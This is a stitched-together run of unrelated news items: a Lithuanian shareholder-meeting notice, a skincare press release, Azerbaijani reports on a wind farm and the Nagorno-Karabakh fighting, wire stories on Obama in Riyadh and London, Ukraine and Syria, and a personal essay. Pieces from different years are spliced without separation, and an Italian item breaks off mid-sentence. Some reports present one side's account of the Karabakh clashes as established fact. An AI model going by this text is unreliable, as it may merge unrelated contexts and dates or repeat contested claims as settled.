The Shareholder shall have the right to authorize through electronic communications means another person (natural or legal) to participate and vote in the meeting on behalf of the shareholder. No notarisation of such authorization is required. The shareholder must confirm the proxy issued through electronic communications means by an electronic signature developed by a secure signature-creation device and approved by a qualified certificate effective in the Republic of Lithuania. The shareholder shall inform the Company on the proxy issued through electronic communications means to the following e-mails: info@oil.lt and r.valunas@oil.lt no later than until the last business day before the meeting at 1:00 p.m. The proxy and the notice must be issued in writing. The proxy and the notice to the Company shall be signed with the electronic signature but not the letter sent by e-mail. By submitting the notice to the Company, the shareholder shall include the internet address from which it would be possible to download software free of charge to verify the shareholders electronic signature.

The record date of the meeting shall be 19 April 2016 (only those persons who will be shareholders of the Company at the close of the record date of the general meeting of shareholders or their authorised persons, or persons with whom an agreement on assignment of the voting right has been executed, may participate and vote at the general meeting of shareholders).

The rights accounting day shall be 10 May 2016 (the persons who were shareholders of the company at the close of the tenth business day after the General Meeting of Shareholders that adopted the relevant decision may enjoy property rights).

The shareholders of the Company may familiarise with the draft resolution of the meeting and the form of the general ballot paper under the procedure prescribed by laws in the registered office of the Company at Buriu g. 19, Klaipeda (tel.: 8 46 391636), or on the Companys website at http://www.oil.lt/. The following information and documents shall be provided on the abovementioned internet website of the Company:

- the notification on convocation of the meeting;

- total number of the Companys shares and the number of shares with voting rights on the convening day of the meeting.

Enclosed:

1. Draft decision of the General Meeting of Shareholders.

2. General voting ballot paper of the General Meeting of Shareholders.

3. Financial Statements of Klaipedos nafta, AB for the year 2015, prepared in accordance with the International Financial Reporting Standards, as adopted by the European Union, presented together with the Independent Auditors Report and Annual Report for the year 2015;

4. Draft appropriation of profit (loss) of Klaipedos nafta, AB for the year 2015.
Los Angeles, April 22, 2016 (GLOBE NEWSWIRE) -- Ormana, Moroccos first luxury skincare brand, prepares for wedding season in the U.S. with a diverse collection of farm-to-skin products infused with its ultra high-grade argan and prickly pear oils. From its all natural brow and lash growth serum to 100 percent impurity-free Moroccan oils known to adorn skin in a luminescent glow, Ormana is giving bridal beauty a natural twist that will extend far beyond the honeymoon.

Whether youre a bride-to-be, part of the wedding party, or simply a dedicated guest, everyone wants to look their best come bridal season. After all, your appearance will be forever cemented in the wedding photos, says Ghita Chakir, vice president of marketing for Ormana. Ormana products nourish skin at the deepest level and work to repair damage, even tone, and provide an effortlessly healthy glow, without the use of chemicals.

Ormanas products are farmed, harvested, and bottled in the same day, offering a first-of-its-kind farm-to-skin experience. Additionally, they are sourced in small batches, making them practically made-to-order. Each formulation is based on the century old traditions of Moroccan women, who used the ingredients to protect and nourish their skin in the harsh desert climate. Products range from slimming oils, facial oil blends, and more.

Three products weve found to be particularly popular among brides are the Cils+ Expert, which naturally grows lashes and brows up to 40 percent thicker, the Slimming Oil, which targets cellulite and provides a healthy glow to the arms and legs, and Ormana Day Cream, which can give the face a velvety, airbrushed appearance almost instantly, said Chakir.

The complete line of Ormana products is available for purchase now at https://myormana.com.





About Ormana



Introducing the Moroccos first luxury skincare brand, Ormana blends the best of nature, science, and tradition to enhance and reinforce the skins natural defenses. A translation of natural gold of Morocco, Ormana directly grows, sources, and bottles the regions most authentic botanical ingredients, such as organic Argan and Prickly Pear Oils, to deliver the purest and most effective anti-aging solutions. The brands full line of luxury farm-to-skin products are naturally formulated without the use of chemical preservatives, parabens, silicones, coloring agents, or synthetic fragrances, and are never tested on animals. A legacy of natural beauty, Ormana passes down the century-old skincare secrets coveted by Moroccos most captivating women.


As of August 26th, 2021 Yahoo India will no longer be publishing content. Your Yahoo Account Mail and Search experiences will not be affected in any way and will operate as usual. We thank you for your support and readership. For more information on Yahoo India, please visit the FAQ
Baku, Azerbaijan, Apr. 22

By Anvar Mammadov - Trend:

Construction of wind farms on the platforms in the Caspian Sea will save about 200,000 cubic meters of gas per year, Akim Badalov, head of the State Agency for Alternative and Renewable Energy Sources, told reporters Apr. 22 in Baku.

This project, as the offshore Oil Rocks field, will be the first in the world, said Badalov.

"Earlier, we planned to build a power plant in the sea without using platforms," he noted adding that then the project's cost would exceed one billion Azerbaijani manats.

Badalov said that the construction of wind farms on the platforms will save about 500-550 million manats, therefore, several Chinese companies are interested in this project.

The wind farm will be built on the platforms in the Caspian Sea between the islands of Pirallahi and Chilov and its capacity will be 200 megawatts.

"Currently, our main task is to attract to the project the leading US companies - General Electric and others, because they can help us in the issues of high technology and management," said Badalov.

The power plant's construction will contribute to the development of infrastructures in Pirallahi and Chilov islands and other fields, according to him.

"A bridge will be built between the two islands under the project," he said adding that the project envisages the development of ecological tourism in this territory.

Wind energy's excess will also be used for water desalination in Pirallahi district that will allow providing this territory with fresh water, noted Badalov.

Currently, the capacity of Azerbaijan's energy system is 7,200 megawatts.

The total potential of Azerbaijan's alternative and renewable energy sources exceeds 12,000 megawatts.

The major part of the country's capacity in this field accounts for the solar energy and this potential is estimated at 5,000 megawatts.

About 4,500 megawatts account for wind energy, 1,500 megawatts - for biomass, 800 megawatts - for geothermal energy, while the remaining 350 megawatts - for the potential of small hydro power plants (HPP).

---

Follow the author on Twitter: @Anvar_Mammadov
Baku, Azerbaijan, Apr. 22

Trend:

The US continues to support the OSCE process and still believe that that's the best way forward, US State Department spokesperson John Kirby said on April 21.

"Our Minsk group co-chair, Ambassador Warlick, visited the region with his Russian and French counterparts, making it clear that we want to see a return to negotiations and settlement immediately. And we remain firmly committed, again, through the OSCE, to working with the sides to reach a lasting peace", Kirby said.

On the night of April 2, 2016, all the frontier positions of Azerbaijan were subjected to heavy fire from the Armenian side, which used large-caliber weapons, mortars and grenade launchers. The armed clashes resulted in deaths and injuries among the Azerbaijani population. Azerbaijan responded with a counter-attack, which led to liberation of several strategic heights and settlements.

Military operations were stopped on the line of contact between Azerbaijani and Armenian armies on Apr. 5 at 12:00 (UTC/GMT + 4 hours) with the consent of the sides, Azerbaijan's Defense Ministry earlier said. Ignoring the agreement, the Armenian side again started violating the ceasefire.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts.

The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.
Adnkronos

(Adnkronos) - "Il manuale Cencelli e stato rispettato al 100%. Gli incarichi sono stati dati secondo le quote indicate. C'e qualche sbavatura, ma non eclatante". A commentare la formazione del Governo e Massimiliano Cencelli, autore dell'omonimo Manuale, che sull'esclusione del leader dei moderati Lupi e dei centristi risponde all'Adnkronos: "Mica e finita la storia. Adesso ci sono altre cariche. Potrebbe essere che i centristi per compensazione ottengano altri posti. La Meloni da quello che ho
Baku, Azerbaijan, Apr.22

By Elmira Tariverdiyeva - Trend:

The co-rapporteurs of the Parliamentary Assembly of the Council of Europe (PACE) have expressed concern about the situation around the Armenian-Azerbaijani Nagorno-Karabakh conflict.

PACE co-rapporteurs are seriously concerned over the latest developments on the line of contact between Azerbaijani and Armenian armies, said Stefan Schennach, head of the PACE Monitoring Committee and co-rapporteur of PACE for the monitoring of Azerbaijan.

It is necessary to make every effort to maintain the ceasefire so that to prevent casualties on the line of contact, he said, the ArmenianReport website reported.

PACE adopted a written declaration on the peaceful resolution of the Nagorno-Karabakh conflict on Apr.19. The document was signed by 44 MPs.

"Being convinced that a peaceful resolution of the Nagorno-Karabakh conflict has no alternative, the Parliamentary Assembly reiterates its continuous support to the efforts of the OSCE Minsk Group co-chairs, the only internationally agreed mediation format, to reach a lasting and just settlement of this conflict," said the document.

"Therefore, we urge to respect the continuous calls made by the Minsk Group co-chairs not to undermine their mandate and complicate the ongoing negotiations," said PACE.

"We share the concerns regarding the increase of tensions in the conflict zone. The use of heavy weaponry, such as mortars and rocket launchers, is unacceptable and presents a serious danger to civilian population. We deeply regret the loss of lives, including civilians", reads the document.

The creation of a mechanism to investigate ceasefire violations together with other proposals of the Minsk Group co-chairs on confidence building measures and consolidation of 1994 ceasefire agreement will contribute to the reduction of tensions and the creation of a more favorable atmosphere for advancing peace talks, according to PACE.

On the night of April 2, 2016, all the frontier positions of Azerbaijan were subjected to heavy fire from the Armenian side, which used large-caliber weapons, mortars and grenade launchers. Azerbaijan responded with a counter-attack, which led to liberation of several strategic heights and settlements. Military operations were stopped on the line of contact between Azerbaijani and Armenian armies on Apr. 5 at 12:00 (UTC/GMT + 4 hours) with the consent of the sides.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations.

Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.
I'm not sure that Clinton's negatives are going up. She has had high negatives for a long time. That continues to be the case.

As I have said, I think she is a flawed general election candidate and it might not matter because the two likeliest Republican nominees have such major image problems of their own.
As the world prepares to mark the Armenian genocide, filmmakers and musicians are attempting to raise awareness among an American public largely ignorant of one of modern history's darkest episodes. It is 101 years on Sunday since Turkey's Ottoman government began arresting minority community leaders and setting in motion a campaign of systematic slaughter that had left 1.5 million Christian Armenians dead by the early 1920s. Turned out of their homes and sent on death marches through the Mesopotamian desert, they were stripped naked and forced to walk until they died of thirst or collapsed and were shot dead. At the same time, the ruling "Young Turks" created death squads to drown countless thousands in rivers, throw them off cliffs, crucify them and burn them alive, raping women and forcing them to join harems or serve as slaves. The collective trauma has been transferred from the original victims to every subsequent generation of Armenians who have carried the unresolved suffering of their ancestors to their new homes across Europe and the United States. On Sunday thousands of Armenians are expected to rally in Los Angeles -- home to the largest diaspora community in the world -- to demand that the Turkish government finally recognize the massacres as a genocide. Yet there is frustration among the campaigners that ordinary Californians may not have even heard of the events they refer to as "Medz Yeghern" -- or "The Great Crime." French-Armenian filmmaker Robert Guediguian's "Don't Don't Tell Me The Boy Was Mad," which gets its US premiere on Friday at COLCOA, the world's largest festival of French film, staged annually in LA, aims to change that. - 'Unaware' - "I don't think the rest of America is conscious of what happened. But it's not only America, it's also Europe and a lot of Western countries. They are ignorant of the story. They are not aware," he told AFP. "It's only in places where there is a big Armenian community where people have their voices heard about this subject... Cinema can absolutely educate people and make them aware of what is happening in the world." "Don't Tell Me The Boy Was Mad" is set around the Armenian diaspora in 1970s and 80s Marseille, France and follows a wave of bombings and assassinations perpetrated by Armenian radicals against Turkish targets across Europe in response to the genocide. Guediguian based his story on "The Bomb," an autobiographical novel by Jose Antonio Gurriaran, who was semi-paralyzed by an Armenian terrorist attack in Madrid but became a leading advocate for international recognition of what he called "the forgotten genocide." Despite a history of support for laws formally recognizing the Armenian genocide, US President Barack Obama -- accused of kowtowing to Turkish sensitivities -- hasn't used the term to refer to the killings while in office. "Barack Obama took the stand that most people in politics do. They come to the community and say 'we will absolutely recognize that your community or people have been in a genocide.' But then once they are elected and become president they don't," said Guediguian. Many of the stories of abuse related by characters in the film are derived from the 62-year-old's own family history, passed down from his grandparents' generation. "In the movie Anoush tells the story of her mother who had been raped several times before she made it to France. This story really happened, to my great aunt," Guediguian told AFP. - Victims forever - The director, who describes reaction to his movie as "very warm," is looking for a US distributor while in Los Angeles for the nine-day COLCOA. Meanwhile a second film about the genocide, "Armenia, My Love," had its premiere in Pasadena, California last week, also opening at several Los Angeles locations including Glendale, home to around 80,000 of the 200,000-plus Armenians in Los Angeles. Written and directed by Romanian American Diana Angelson, who also stars, the film tells the story of a family living in the occupied territory of the Armenian homeland, now eastern Turkey, in 1915. Angelson says that while she needed to depict the horror of the massacres, it was the film's "strong messages of hope, love, faith, perseverance and strength" that she wanted to prevail. "Hopefully it will travel the world and it will teach many people kindness," she added. Friday also sees the release of Grammy Award-winning Los Angeles-based Armenian American musician Serj Tankian's original soundtrack to "1915," a thriller inspired by the events of the genocide which was released last year. "Genocide has become the defining factor of the Armenian character worldwide," Tankian, whose heavy metal band System of a Down has sold over 40 million records worldwide, told students at the American University of Armenia in Yerevan after the film's release. "That is a good thing and a bad thing. No culture, no people, want to be known as victims forever. We have a very old, amazing, gorgeous culture to share with the world."
AFP News

Ukraine on Sunday denounced as dangerous lies suggestions from Russia that it was preparing to use a "dirty bomb". Its western allies also dismissed the allegations from Moscow, just hours after Russia went public with the claims. In conversations with his British, French and Turkish counterparts, Russian Defence Minister Sergei Shoigu conveyed "concerns about possible provocations by Ukraine with the use of a 'dirty bomb'", Moscow said. Russia did not mention the alleged "dirty bomb" allegation in its statement following Shoigu's call with Pentagon chief Lloyd Austin. "If Russia calls and says that Ukraine is allegedly preparing something, it means one thing: Russia has already prepared all this," President Volodymyr Zelensky said in a video address on social media. "I believe that now the world should react as harshly as possible." Earlier Sunday, Ukraine's Foreign Minister Dmytro Kuleba denounced Moscow's claims as "absurd" and "dangerous". "Russians often accuse others of what they plan themselves," he added. A British defence ministry statement said Defence Secretary Ben Wallace had "refuted these claims and cautioned that such allegations should not be used as a pretext for greater escalation". And in Washington, National Security Council spokeswoman Adrienne Watson dismissed Moscow's "transparently false" claim. "The world would see through any attempt to use this allegation as a pretext for escalation," she added. - 'Vile strikes' - Russia also announced Sunday that it had destroyed a depot in central Ukraine storing over 100,000 tonnes of aviation fuel. Kyiv's energy operator meanwhile said scheduled power cuts had been introduced in the Ukrainian capital due to Russia's repeated strikes on the nation's power network. The blackouts started from 11:13 am (0813 GMT) with consumers in Kyiv divided into three groups "disconnected for a certain period of time", energy company DTEK said. DTEK reiterated calls for residents to use electricity "sparingly" and for businesses to limit their use of external lighting. More than one million Ukrainian households have lost electricity following recent Russian strikes, according to the Ukrainian presidency, at least a third of the country's power stations having been destroyed ahead of winter. Zelensky condemned the "vile strikes" in comments late Saturday, after Russian attacks caused power cuts across the country. - 'Save your strength' - In the southern Ukrainian city of Kryvyi Rig, deputy mayor Sergiy Miliutin was dealing with emergencies and power outages from his underground bunker, used as a venue for a children's martial arts competition. "I've reached a point where I just survive on my drive. You have to stay level-headed and save your strength. No one knows how long this will all last," he told AFP. The intensification of Russian strikes on Ukraine, particularly energy facilities, came after the bridge linking the annexed Crimea peninsula to mainland Russia was partially destroyed by an explosion earlier this month. It was another major setback for Moscow's forces, battling to contain a Ukrainian counter-offensive in the south and east of the country. French President Emmanuel Macron said Sunday that it was for Ukrainians to decide when "peace is possible", in comments made in Rome at the start of a peace summit. Ukraine reported three deaths in an overnight Russian artillery strike in the Toretsk area, a governor of the eastern Donetsk region said. Inside Russia, two lines of defence have been built in the border region of Kursk to deal with any possible attack, a local governor said on Sunday. On Saturday Vyacheslav Gladkov, the governor in the neighbouring Russian border region of Belgorod, said the construction of defence structures had begun. Gladkov said two civilians had been killed in strikes there Saturday, and that 15,000 people had been left without electricity. - Kherson evacuations - Meanwhile Ukraine's SBU intelligence service said it had detained two officials of Ukrainian aircraft engine maker Motor Sich on suspicion of working with Russia. The SBU said management at the company's plant in Ukraine's southern Zaporizhzhia region -- partly controlled by Russian forces -- had colluded with Russian state-owned defence conglomerate Rostec. The suspects had supplied Russia with Ukrainian aircraft engines that were used to make and repair attack helicopters, the SBU said. In the southern Ukrainian region of Kherson, which Russia claims to have annexed, pro-Moscow officials on Saturday urged residents to leave "immediately" amid a "tense situation" at the front. Kherson, the region's main city, was the first to fall to Moscow's troops and retaking it would be a major prize in Ukraine's counter-offensive. A Moscow-installed official in Kherson, Kirill Stremousov, told Russian news agency Interfax on Saturday that around 25,000 people had left Kherson city to the left bank of the Dnipro River. Ukraine has denounced the removal of residents from Kherson, describing them as "deportations". bur-imm/raz/jj/lcm
Baku, Azerbaijan, Apr. 22

Trend:

Russia's Foreign Minister Sergey Lavrov is holding negotiations with Armenia's Foreign Minister Eduard Nalbandyan in Yerevan, RIA Novosti agency reported Apr. 22.

The meeting is being held in a narrow format, later the delegations will also join, said the agency.

Lavrov is expected to meet with Armenia's President Serzh Sargsyan as well.

One of the main themes of the Russian foreign minister's visit to Armenia is the Armenia-Azerbaijan Nagorno-Karabakh conflict's settlement.

On the night of April 2, 2016, all the frontier positions of Azerbaijan were subjected to heavy fire from the Armenian side, which used large-caliber weapons, mortars and grenade launchers. The armed clashes resulted in deaths and injuries among the Azerbaijani population. Azerbaijan responded with a counter-attack, which led to liberation of several strategic heights and settlements.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations.

Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.

Edited by SI
President Barack Obama said Thursday the United States is united with Gulf Arab nations in fighting the Islamic State group and sought to reassure them about US overtures to regional rival Iran. In Riyadh for talks hosted by Iran's arch-foe Saudi Arabia, Obama said Washington still had "serious concerns" about Tehran, but insisted no country had an interest in conflict with the Shiite power. Obama, on likely his final presidential visit to America's historic Gulf allies, was in Riyadh seeking to reduce tensions with the Sunni Arab states. With the IS jihadists suffering a series of recent setbacks in Syria and Iraq, Washington is seeking more help from the oil-rich Gulf monarchies to keep up the pressure. Speaking at the close of the summit of the six-nation Gulf Cooperation Council, Obama played down any divisions and vowed continued cooperation in the battle against the extremists. "We remain united in our fight to destroy (IS)," he said, adding the US "will continue to increase our security cooperation with our GCC partners". Saudi King Salman also spoke positively, stressing the GCC's commitment to developing ties with the US "in order to serve common interests and security and peace". - 'Destabilising activities' - Seated beside Salman inside a Riyadh royal palace, Obama said concerns remained about Iran's "destabilising activities" despite its landmark nuclear agreement with world powers and the lifting of sanctions. "Even with the nuclear deal we recognise collectively that we continue to have serious concerns about Iranian behaviour," Obama said. He warned, however, of the risk of confrontation with Tehran. "None of our nations have an interest in conflict with Iran," Obama said. Iran's emergence from international isolation following the nuclear deal has worried the Gulf monarchies, which fear Tehran will be emboldened to seek a still bigger regional role. Gulf Arab states and Iran back opposing sides in a range of Middle East conflicts, including in Syria and Yemen. Saudi Arabia and other Gulf states belong to the US-led coalition that has been carrying out air strikes against IS in Syria and Iraq since mid-2014. But US officials have urged them do to more, especially to support Baghdad, which is battling political chaos and an economic crisis as well as the extremists. Ben Rhodes, a close adviser to Obama, said there were "political steps that can be taken," as Iraq would need assistance to hold on to and rebuild areas reclaimed from IS. Obama said a cessation of hostilities in Syria is "obviously under tremendous strain" as fighting has intensified in some areas despite efforts to hold peace talks in Geneva. Washington hopes that in both Syria and Yemen -- where a Saudi-led coalition launched air strikes against Iran-backed rebels in March last year -- an end to broader fighting can lead to a greater focus on the battle against IS and other jihadists. UN-backed peace negotiations between Yemen's warring sides started in Kuwait on Thursday, and Obama "urged all parties" to abide by a ceasefire that began on April 11. Jihadists -- including the powerful local branch of Al-Qaeda -- have exploited the Yemen conflict to strengthen their presence in the country's south. Both Defence Secretary Ashton Carter and US Secretary of State John Kerry joined Obama in Riyadh, holding meetings with top officials. - Strains 'overblown' - The diplomatic offensive followed months of rising tensions between the United States and the Gulf monarchies, which have for decades enjoyed strong security ties. Prince Turki al-Faisal, the kingdom's former intelligence chief, told CNN that Obama's conduct and declarations has made Saudi Arabia realise the relationship has changed. "My personal view is that America has changed," he said. The senior royal said the kingdom would have to "recalibrate" things such as "How far we can go with our dependence on America? How much can we rely on steadfastness from American leadership?" In highly unusual moves, Saudi state news channel Al-Ekhbaria did not broadcast either the start or the summit meeting or Obama's airport arrival on Wednesday. At a news conference after the summit, Obama said talk of strains "was always overblown", saying there were "tactical" differences on how to deal with Iran. Obama also told the summit that Washington and Gulf states would work together to lessen the impact of the dramatic fall in oil prices since early 2014. The United States and GCC "will launch a new high-level economic dialogue with a focus on adjusting to lower oil prices, increasing our economic ties and supporting GCC reforms", Obama said. Saudi Arabia, the world's biggest oil exporter, and its petroleum-rich neighbours have been forced to cut subsidies and adopt other measures to deal with deficits caused by plunging oil prices, which make up the bulk of their revenues.
By Roberta Rampton RIYADH (Reuters) - U.S. President Barack Obama met Saudi Arabia's King Salman on Wednesday to seek joint action on security threats including Iran and Islamic State - and to talk through tensions between the two allies that have been laid bare in recent weeks. Obama's fourth and likely last visit to the world's top oil exporter has been overshadowed by Gulf Arab exasperation with his approach to the region, and doubts about Washington's commitment to their security. Most of the Gulf Arab monarchies have in private been sorely disappointed by Obama's presidency, regarding it as a period in which the United States has pulled back from the region, giving more space to their arch rival Iran to expand its influence. Obama met for two hours with Salman and a group of top princes and officials at the opulent Erga palace, a meeting that had been forecast to be awkward. Obama was recently quoted in a U.S. magazine interview commenting on the "complicated" nature of the U.S.-Saudi relationship, and describing some some Gulf and European states as "free riders" who called for U.S. action without doing enough themselves. The White House said the leaders exchanged views on a series of regional conflicts where the allies disagree, and also explored U.S. concerns about Saudi human rights issues. "The two leaders reaffirmed the historic friendship and deep strategic partnership between the United States and Saudi Arabia," the White House said in a statement. Obama has spoken of his desire to persuade Gulf states to arrive at a "cold peace" with Iran that would douse sectarian tensions and allow all sides to focus on what he sees as a greater threat emanating from Islamic State. "More broadly, the president and King discussed the challenges posed by Irans provocative activities in the region, agreeing on the importance of an inclusive approach to de-escalating regional conflicts," the White House said. Obama praised the king's pledge of humanitarian aid to Yemen after a Saudi-led military campaign against the Iran-backed Houthi group - and talked about the need to help parts of Iraq hit hard by Islamic State fighting. They also talked about the need to reinforce a cessation of hostilities between Syrian government and opposition forces, and their support for a political transition in the war-torn country, the White House said. The White House did not say whether the leaders had discussed a bill proposed in the U.S. Congress that, if passed, could hold the kingdom responsible for any role in al Qaeda's Sept. 11, 2001 attacks. The attack was mounted by al Qaeda, then based in Afghanistan. Fifteen of the 19 hijackers were Saudi nationals, although no U.S. investigation to date has reported finding evidence of Saudi government support for the attacks. Obama has said he opposes the bill because it could expose the United States to lawsuits from citizens of other countries. LOW-KEY ARRIVAL Obama arrived too late for the pomp of a televised official welcome for Gulf rulers at the airport, making a low-key entrance before being whisked off by helicopter to the palace. He later met privately at his hotel with Abu Dhabis crown prince Sheikh Mohammed bin Zayed al-Nahayan and discussed the need to find a political settlement for the Yemen conflict, and to head off the "actions of potential spoilers" for Libya's nascent government. Earlier, U.S. Defense Secretary Ash Carter had talks with his Gulf Arab counterparts on ways of countering Iranian influence and fighting the Islamic State group. They agreed on joint cooperation towards improving Gulf missile defence, special forces and maritime security, but no new deals were announced. The GCC secretary general said the bloc and the United States would stage joint maritime patrols to stop weapons smuggling to Iran. American officials said these were already taking place and did not represent a new step. On Thursday, Obama will attend a summit of the Gulf Cooperation Council (GCC), a group of monarchies comprising Saudi Arabia, Kuwait, Qatar, Bahrain, the United Arab Emirates and Oman. Apart from Oman, they are ruled by Sunni Muslim dynasties who see revolutionary, Shi'ite Iran as a threat to their security and say its involvement in Iraq, Syria, Lebanon and Yemen has fuelled conflict and deepened sectarian divisions. That tension surfaced again on Wednesday when Iran's Supreme Leader Ayatollah Ali Khamanei attacked Riyadh's attempts to isolate its ally, Lebanon's Hezbollah movement, in a series of fiery Tweets. "Hezbollah is shining in the Muslim world. It doesn't matter if a corrupt, dependent and hollow government with the use of petrodollars condemns it in a statement. To hell with it," he wrote. The White House shares the view of Gulf Arab states that Tehran plays a destabilising role, but its push for the nuclear deal Iran agreed with world powers last year caused fears in Riyadh that Washington was not listening to their concerns. (Additional reporting by Yeganeh Torbati; Writing by Angus McDowall; Editing by William Maclean and Dominic Evans)
US President Barack Obama plunged into Britain's increasingly poisonous EU debate on Friday with a powerful warning against Brexit, arguing that US soldiers had laid down their lives for Europe. Obama's rare foray into the domestic politics of another country comes ahead of Britain's EU membership referendum in June and drew a furious response from eurosceptics like London Mayor Boris Johnson. Writing in the Daily Telegraph, a traditional bastion of euroscepticism, Obama argued that Britain's place in the European Union magnified its global influence and invoked the memory of US troops who died in two world wars. "I realise that there's been considerable speculation -- and some controversy -- about the timing of my visit," he wrote in a piece published at the start of his four-day trip to Britain. "I will say, with the candour of a friend, that the outcome of your decision is a matter of deep interest to the United States. "Tens of thousands of Americans who rest in Europe's cemeteries are a silent testament to just how intertwined our prosperity and security truly are. "And the path you choose now will echo in the prospects of today's generation of Americans." - Churchill bust row - Johnson, the leading face of the eurosceptic campaign, said it was "downright hypocritical" of the US to intervene as it would not accept the same limits on its own sovereignty as EU members do. "For the United States to tell us in the UK that we must surrender control of so much of our democracy is a breathtaking example of the principle of do as I say, not as I do," Johnson wrote in The Sun tabloid. Johnson also repeated claims that "part-Kenyan" Obama may have removed a statue of Winston Churchill from the Oval Office at the start of his first term out of "ancestral dislike of the British Empire". The White House has previously rejected the allegation over the bust of the British wartime leader as "completely false". Prime Minister David Cameron's spokeswoman also dismissed it Friday, saying: "Let's focus on facts". Asked about the controversy at a campaign event, anti-EU UK Independence Party leader Nigel Farage told AFP: "Obama doesn't like the British very much. His grandfather grew up in Kenya, a former British colony. He's still got some bad feelings about that." He added: "I would rather he butted out and wasn't here saying what he's saying... We don't need his advice". The issue of Brexit is likely to surface again at talks with Cameron later on Friday, to be followed by a press conference. Ahead of the meeting, Obama and First Lady Michelle Obama had lunch at Windsor Castle with Queen Elizabeth II, who turned 90 on Thursday, and her husband Prince Philip. - 'Appeal from the heart' - Richard Whitman, professor of politics and international relations at the University of Kent, said Obama's was "an unusually personal intervention". "He's making a very strong appeal from the heart," he said. "It will be difficult to say from the polls whether his intervention made a significant difference but I think that it creates a narrative which appears to be favouring the 'Remain' campaign." A poll by Sky News television found 57 percent said Obama's intervention would make "no difference" to their vote. Sixty percent of respondents said Obama's views on EU membership were not important in an ITV News poll conducted by ComRes, with 51 percent saying that Obama should not make his views on the issue public. While experts warn many people have not yet decided how to vote, the "Remain" camp currently has 54 percent support compared to 46 percent for "Leave", according to an average of the last six opinion polls by academics at the What UK Thinks project. Seen from Washington, Cameron's decision to call a referendum was a bold -- if not downright risky -- gamble that could leave Britain and the EU badly weakened. "The EU has helped spread British values and practices -- democracy, the rule of law, open markets -- across the continent and to its periphery," Obama wrote. "The European Union doesn't moderate British influence -- it magnifies it. Britain's voice in the EU keeps the bloc "outward looking" and "closely linked" to the United States, he said.
Coming from Singapore and living in the United Kingdom, Mohammed Syafiq has tempered his penchant for efficiency with an appreciation for the spontaneous, realising both the benefits of preparedness and an unconstrained creativity.

When I first arrived in Sheffield, United Kingdom, for my undergraduate studies in Architecture, I was in denial about experiencing culture shock.

For one, grocery-shopping in the UK is always a struggle. If I were to do all my shopping at one supermarket such as a local Sainsburys, it would be more expensive than to go to the bigger one in the city centre. I eventually worked out that it was more affordable to go to various local shops such as the butchers, green grocers and smaller supermarkets, where I would get better bargains. But it is a hassle as well, since I cannot pay for everything at one cashier, and the produce that I want may be unavailable at times. I later found out that certain vegetables are harder to procure at certain times of the year due to seasonality.

This made me reflect on how my family did their grocery-shopping back home in Singapore. At Mustafa Centre, things are always available 24 hours a day. Furthermore, most of our infrastructure is designed to facilitate getting from point A to point B in the quickest way possible.

It dawned on me that the way of life back home  coupled with my personal preferences  has led me to develop an obsession with routine schedules. I admired the decisiveness and efficiency of military institutions and started preparing myself for the army at the age of 13, joining the National Cadet Corps in my secondary school. Gradually, I learned to pass my days in the least sluggish way possible.

Military performance at NDP

A display of military precision at National Day Parade. (Photo: Kelda Chua)

As a design student in Singapore, doing so was incredible because it freed up my thoughts and permitted me to devote my energies entirely to my design work. For instance, I would plan my whole day down to where exactly I had to be and what materials to get, so that I would be able to draw or work on a 3D model the way I wanted. It was great because I would always achieve what I set out to do. The best part is  if I wanted to do something similar in the future, there would be a template for me to follow or improve on.

Story continues

Fast forward to today, living in London has changed my attitude towards efficiency. I learned to embrace the unexpected and the spontaneous and to enjoy the process more than the result. I realised that if we are thinking about being efficient all the time, it could lead to us missing out on the little moments in life. We would probably come to a stage in our lives later when we ask ourselves, What was I doing when I was younger?

These thoughts have opened up my poetic side and given me an advantage as a designer. Design is a creative endeavour and there is often a need to solve problems in an artistic manner or to think outside the box and inspire new ways of doing things. Therefore, it is essential for a designer to be able to step out of established routines.

Of course, efficiency has its benefits, since planning ahead allows one to have a sense of mental and emotional security. I still like to be prepared and among my friends, I am still characterised as having quite a military approach, due to my penchant for efficiency.

Today, I continue my search for the balance between being efficient and being relaxed about it. To me, there is pleasure both in being able to choreograph something to precision and in not knowing where life might take you.

Top photo: A clock face in the London Underground, Bob Mazzer

About the author:

Mohammed Syafiq is an award-winning trainee architect. An alumni of Temasek Polytechnic and University of Sheffield, he is currently based in London. He makes awesome chicken roast.
By John Davison and Stephanie Nebehay BEIRUT/GENEVA (Reuters) - The U.N. special envoy for Syria has vowed to take fragile peace talks into next week despite a walkout by the main armed opposition, a breakdown in a truce and signs that both sides are gearing up to escalate the five-year-old civil war. The opposition declared a "pause" in the talks this week because of a surge in fighting and too little movement from the government side on freeing detainees or allowing in aid. Nearly all of its delegation left Geneva. But U.N. envoy Staffan de Mistura said he had no plans to call off the negotiations, the first in five years of conflict to include some rebel factions. He said a ministerial meeting of world powers was urgently needed to get the talks back on track. "Bottom line, I plan to continue the proximity talks, but at the formal level and at the technical level until next week, probably Wednesday as originally planned," he said. A fragile ceasefire in place since February was still in effect because none of the sides had renounced it, he said, but it was "in great trouble if we don't act quickly." The talks at U.N. headquarters in Geneva aim to halt a conflict that has allowed for the rise of the Islamic State group, sucked in regional and major powers and created the world's worst refugee crisis. De Mistura now says 400,000 people have been killed in the war, far higher than the previous U.N. toll, usually given as 250,000. He said he had no proof of the higher figure but the estimate of 250,000 was two years old and no longer valid. The war was tilted in President Bashar al-Assad's favour late last year by Russia's intervention. WASHINGTON CONCERNED BY RUSSIAN MOVES The White House has expressed concern that Russia has repositioned artillery near the disputed city of Aleppo. The Russian military moves have sharpened divisions in Washington over whether President Vladimir Putin genuinely backs the U.N.-led initiative to end the war or is using the talks to mask renewed military support for 